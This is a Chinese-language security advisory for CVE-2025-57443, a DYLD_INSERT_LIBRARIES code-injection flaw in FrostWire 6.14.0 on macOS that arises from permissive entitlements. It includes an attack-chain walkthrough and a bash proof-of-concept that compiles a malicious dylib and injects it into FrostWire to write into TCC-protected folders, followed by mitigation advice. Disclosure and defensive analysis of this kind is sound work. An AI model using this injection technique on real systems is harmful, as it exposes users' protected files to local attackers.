CVE-2025-57443 FrostWire macOS权限提升漏洞

漏洞信息

漏洞编号

CVE-2025-57443

漏洞类型

权限提升/代码注入/DYLD环境变量劫持

CVSS评分

5.1 中危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

FrostWire

漏洞概述

CVE-2025-57443是FrostWire 6.14.0-build-326版本在macOS平台上存在的一个本地权限提升漏洞。该漏洞源于FrostWire应用程序在打包时配置了过于宽松的entitlements（权限声明），其中包括allow-dyld-environment-variables（允许DYLD环境变量）和disable-library-validation（禁用库验证）这两个高危权限。这两个entitlements的组合使得任何本地未授权攻击者都可以通过设置DYLD_INSERT_LIBRARIES环境变量，将恶意的动态链接库（DLL/dylib）注入到FrostWire进程中执行。由于FrostWire本身是一个经过TCC（Transparency, Consent, and Control）框架认证的应用程序，拥有访问用户受保护目录（如Documents、Downloads、Desktop等）的权限，因此通过代码注入实现的权限提升允许攻击者访问任意TCC已批准的目录，读取或篡改用户敏感文件。该漏洞的CVSS评分为5.1，属于中等严重等级。虽然攻击需要本地访问权限且对机密性和完整性的影响为低，但由于利用门槛极低（无需认证、无需用户交互），仍然构成了实际的安全威胁。该漏洞已于2025年10月2日被公开披露，漏洞发现者通过MITRE提交了相关报告。

技术细节

该漏洞的核心技术原理在于macOS应用程序的entitlements配置不当。在macOS沙盒和安全机制中，entitlements用于声明应用程序所拥有的特殊权限。FrostWire 6.14.0-build-326版本在其应用的Info.plist或代码签名中声明了两个危险的entitlements：

1. allow-dyld-environment-variables：该entitlement允许应用程序读取DYLD_*系列环境变量（如DYLD_INSERT_LIBRARIES、DYLD_LIBRARY_PATH等）。在正常情况下，macOS的硬化运行时（Hardened Runtime）会阻止这些环境变量被加载到已签名的应用程序中，以防止代码注入攻击。

2. disable-library-validation：该entitlement禁用了库验证机制，允许应用程序加载未经过苹果公证（notarization）或代码签名的动态库。

攻击利用方式：攻击者在本地终端中设置DYLD_INSERT_LIBRARIES环境变量指向一个恶意的dylib文件，然后启动FrostWire应用程序。由于上述两个entitlements的存在，恶意dylib将被加载到FrostWire进程空间中执行。由于FrostWire进程继承了其TCC权限（如完全磁盘访问、用户文件访问等），注入的恶意代码将以FrostWire的权限级别运行，从而能够访问TCC已批准的任何目录，实现权限提升。

攻击链分析

STEP 1

步骤1

攻击者在本地macOS系统上获取未授权的shell访问权限（通过物理访问、远程shell或其他低权限账户）

STEP 2

步骤2

攻击者编译一个恶意的动态链接库（dylib），其中包含构造函数（__attribute__((constructor))）形式的payload代码

STEP 3

步骤3

攻击者在终端中设置DYLD_INSERT_LIBRARIES环境变量指向恶意dylib文件

STEP 4

步骤4

攻击者启动FrostWire应用程序，由于allow-dyld-environment-variables entitlement的存在，DYLD_INSERT_LIBRARIES被正常读取

STEP 5

步骤5

由于disable-library-validation entitlement的存在，未签名/未公证的恶意dylib被成功加载到FrostWire进程

STEP 6

步骤6

恶意dylib中的构造函数payload以FrostWire进程的权限执行，继承其TCC权限

STEP 7

步骤7

攻击者获得对任意TCC批准目录的读写权限，实现本地权限提升，可访问Documents、Downloads、Desktop等受保护目录中的敏感文件

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2025-57443 PoC - FrostWire macOS Local Privilege Escalation
# Exploits permissive entitlements: allow-dyld-environment-variables + disable-library-validation

# Step 1: Create a malicious shared library (evil.dylib)
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void payload(void) {
    // Drop a marker file in TCC-protected directory to prove code execution
    system("touch ~/Documents/pwned_by_CVE-2025-57443.txt");
    system("id > /tmp/frostwire_pwned.txt");
    fprintf(stderr, "[+] Injected into FrostWire process successfully\n");
}
EOF

# Step 2: Compile the malicious dylib
gcc -dynamiclib -o /tmp/evil.dylib /tmp/evil.c -fno-stack-protector

# Step 3: Set DYLD_INSERT_LIBRARIES and launch FrostWire
export DYLD_INSERT_LIBRARIES=/tmp/evil.dylib
open -a /Applications/FrostWire.app

# Step 4: Verify exploitation
sleep 3
if [ -f ~/Documents/pwned_by_CVE-2025-57443.txt ]; then
    echo "[+] Exploitation successful! File created in TCC-protected directory."
    cat ~/Documents/pwned_by_CVE-2025-57443.txt
else
    echo "[-] Exploitation may have failed."
fi

影响范围

FrostWire 6.14.0-build-326 (macOS)

防御指南

临时缓解措施

在官方修复版本发布之前，建议用户采取以下临时缓解措施：1）限制FrostWire应用程序的TCC权限，仅授予必要的目录访问权限；2）使用macOS活动监视器监控可疑的FrostWire进程行为；3）在不需要使用FrostWire时退出应用程序，减少攻击窗口；4）确保系统仅允许受信任的用户执行应用程序；5）监控系统日志中与DYLD相关的异常事件；6）考虑使用第三方安全工具阻止未签名的dylib加载。